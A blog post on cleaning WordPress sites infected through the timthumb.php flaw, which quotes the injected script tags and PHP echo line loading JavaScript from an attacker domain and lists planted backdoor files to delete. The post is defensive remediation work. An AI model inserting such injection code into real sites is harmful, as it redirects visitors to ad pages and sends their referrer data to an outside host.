WordPress hack: Superpuperdomain.com – How to Remove it

A few days ago a new PhpRemoteView hack, a malicious JavaScript loading from superpuperdomain.com/count.php, attacked many WordPress website, including some of mine. There are already a few discussions on this topic and it was a pretty difficult to find a reliable source how to get rid of this problem, but a few websites like tbogard.com and techspheria.com introduce interesting solutions, which I combined together and first tested on my sites, before wraining this article (it worked on my WP blogs btw:)

Don’t forget to

Follow us on Twitter

Like us on Facebook

<script language="javascript" src="https://superpuperdomain.com/count.php?ref...></script>

redirects visitors that were going to the WordPress site to fake search engines full of ads. To check if you have it (except the obvious- redirection:), try to find a similar chunk of code on your homepage (it should appear just at the end of the html code, behind the closing body tag:

<script language="javascript" SRC="http://superpuperdomain.com/count.php?ref=http%3A%2F%2Fsite.com%2Fdif%2F"></script>

It is caused by a security vulnerability in timthumb.php (also known as tumb.php), which is is a free PHP script that resizes images used by many WP themes developers. Many great WP themes use that script including Elegant Themes, so if you haven’t updated your theme during the last 5 days, your website is probably infected by it! Here is a step by step solution…

How to get rid of this superpuperdomain.com’s Javascirpt Malware:

• Go to your index.php and delete the following code:

  echo '<script type="text/javascript" language="javascript" src="https://superpuperdomain.com/count.php?ref='.urlencode($_SERVER['HTTP_REFERER']).'"></script>';
  remember about leaving ?> at the end of the code!

• Search for the following files on your server and delete them:

    /wp-admin/js/config.php
    /wp-admin/common.php
    /wp-admin/udp.php
    /wp-content/udp.php

  Those files are added by hackers and are a part of the phpRemoteView hack, but just in case back up those files (do not open them!!!).

• Update the Timthumb.php
  As the creator of this plugin has been informed about this issue a few days ago, the latest corrected versionis already has been created and is available to download here:  http://code.google.com/p/timthumb/ so please upload it to your server to replace to old version of Timthumb.php with the new file.
• Make sure that your file permissions are correctly set.According to WP – Security Scan (which I personally use on a few sites), I set the following permissions:

  but I also recommend this WordPress article on that

• At the end, you can also block the http://superpuperdomain.com’s IP addresses in your htttaccess file add so additional rules to the httaccess file itself.
• Finaly scane your website for Malware on http://sitecheck.sucuri.net/scanner/

I hope that all of that help you, but let me know if you come across any more problems with that Malware.